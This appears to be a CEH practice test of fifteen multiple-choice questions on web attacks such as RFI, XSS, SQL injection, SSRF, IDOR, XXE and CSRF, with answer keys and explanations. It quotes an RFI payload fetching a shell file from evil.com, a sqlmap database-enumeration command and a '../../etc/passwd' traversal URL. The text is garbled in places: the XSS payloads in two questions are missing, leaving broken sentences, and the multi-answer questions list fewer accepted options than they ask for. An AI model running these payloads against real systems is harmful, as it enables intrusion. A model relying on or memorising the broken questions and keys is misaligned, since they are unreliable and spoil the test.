CEH Web Application and Injection Attacks Practice Test 10 — 15 Questions

Question 1

A web application tester uses the following Burp Suite feature to automatically send multiple requests with different payloads to test for common vulnerabilities. Which feature is being used?

Accepted Answer

Intruder. Burp Intruder is designed for automated request customization and repetition, allowing fuzzing of parameters for injection flaws, brute-force attacks, and other vulnerability testing.

Answer

Repeater

Answer

Proxy

Answer

Scanner

Question 2

An attacker exploits a vulnerable parameter in a web application by submitting the following payload: http://target.com/page.php?file=http://evil.com/shell.txt. The server returns the contents of the remote file. This is an example of which type of attack?

Accepted Answer

Remote File Inclusion (RFI). Remote File Inclusion (RFI) allows an attacker to include a remote file, often leading to arbitrary code execution if the included file contains PHP or other executable code. The 'file' parameter is used to include a remote resource.

Answer

Directory traversal

Answer

Local File Inclusion (LFI)

Answer

Command injection

Question 3

A security analyst discovers that a web application's search box reflects user input without proper sanitization. However, the attacker must trick a victim into clicking a crafted link containing the malicious script. This vulnerability is classified as which type?

Accepted Answer

Reflected XSS. Reflected XSS requires user interaction (clicking a link) to execute the script in the victim's browser. The payload is not stored on the server, distinguishing it from stored XSS. DOM-based XSS does not involve server reflection.

Answer

Blind XSS

Answer

Stored XSS

Answer

DOM-based XSS

Question 4

Which THREE of the following are effective mitigation techniques against Cross-Site Scripting (XSS) attacks?

Accepted Answer

Output encoding. Input validation ensures malicious characters are rejected. Output encoding converts special characters to safe HTML entities. Content Security Policy (CSP) restricts script sources. Disabling JavaScript is not practical. Using HTTPS protects data in transit but not against XSS.

Answer

Disabling JavaScript in the client browser

Answer

Using HTTPS for all communications

Question 5

An analyst reviews a web server log and sees the following request: GET /search?q= HTTP/1.1. The response from the server includes the search term inside a

tag without any sanitization. Which type of XSS vulnerability does this indicate?

Accepted Answer

Reflected XSS. This is a typical reflected XSS because the malicious script is injected via a GET parameter and immediately reflected in the response without persistent storage.

Answer

Stored XSS

Answer

DOM-based XSS

Answer

Blind XSS

Question 6

A penetration tester uses SQLMap with the following command: sqlmap -u 'http://target.com/page?id=1' --batch --dbs. Which of the following best describes what this command will do?

Accepted Answer

Enumerate all database names in non-interactive mode. --dbs enumerates database names; --batch uses default options without interactive input.

Answer

Dump the entire contents of the current database

Answer

Perform a time-based blind SQL injection to extract data

Answer

Enumerate all tables in all databases

Question 7

An attacker attempts to exploit a web application by sending a request that triggers the server to make an internal HTTP request to a sensitive internal service. Which type of attack is this?

Accepted Answer

SSRF. SSRF (Server-Side Request Forgery) occurs when an attacker can induce the server to make requests to internal resources.

Answer

CSRF

Answer

XXE

Answer

IDOR

Question 8

A security analyst notices that a web application uses sequential numeric IDs for user accounts (e.g., /profile?id=1001). By changing the ID to 1002, the analyst can view another user's profile. Which vulnerability is present?

Accepted Answer

IDOR. This is an IDOR (Insecure Direct Object Reference) vulnerability, where direct access to objects is not properly restricted.

Answer

SQL injection

Answer

Directory traversal

Answer

CSRF

Question 9

An analyst reviews the following HTTP response: HTTP/1.1 200 OK Set-Cookie: sessionid=abc123; SameSite=None; Secure ...

Welcome back!

. What possible vulnerability exists if the application does not use CSRF tokens?

Accepted Answer

Cross-site request forgery (CSRF). SameSite=None allows cross-site requests to include cookies, making CSRF possible if no CSRF tokens are used. SameSite=Lax or Strict would block some CSRF attacks.

Answer

Clickjacking

Answer

Cross-site scripting (XSS)

Answer

Session fixation

Question 10

Which of the following is the most effective defense against SQL injection attacks?

Accepted Answer

Parameterized queries. Parameterized queries (prepared statements) ensure user input is treated as data, not executable code, preventing SQL injection.

Answer

Escaping all user input

Answer

Input validation using blacklists

Answer

Stored procedures

Question 11

A security engineer observes that an internal web application uses XML to transmit data between systems. The engineer discovers that by sending a crafted XML payload, they can read sensitive files from the server's filesystem. Which attack is being performed?

Accepted Answer

XXE injection. XXE (XML External Entity) injection allows reading files via external entities in XML.

Answer

SSRF

Answer

Command injection

Answer

XPath injection

Question 12

Which Burp Suite tool is specifically designed to intercept and modify HTTP(S) traffic between the browser and the target web application?

Accepted Answer

Proxy. Burp Proxy is the component that intercepts and allows modification of requests/responses in transit.

Answer

Intruder

Answer

Scanner

Answer

Repeater

Question 13

A web application allows users to submit feedback that is stored in a database and later displayed to administrators. An attacker submits feedback containing . When an admin views the feedback page, the script executes. Which type of XSS is this?

Accepted Answer

Stored XSS. Stored (persistent) XSS occurs when the payload is stored on the server and served to other users later.

Answer

Blind XSS

Answer

Reflected XSS

Answer

DOM-based XSS

Question 14

An attacker uses the following URL pattern to access files: http://example.com/../../etc/passwd. Which attack is being attempted?

Accepted Answer

Directory traversal. Directory traversal (path traversal) uses ../ sequences to access files outside the web root.

Answer

Command injection

Answer

Local file inclusion (LFI)

Answer

Remote file inclusion (RFI)

Question 15

Which TWO of the following are effective mitigations against Cross-Site Request Forgery (CSRF) attacks? (Select 2)

Accepted Answer

Setting SameSite cookies to Lax or Strict. CSRF tokens ensure the request originates from the legitimate site; SameSite cookies prevent the browser from sending cookies on cross-site requests.

Answer

Input validation

Answer

Using CAPTCHA

Answer

Using HTTPS only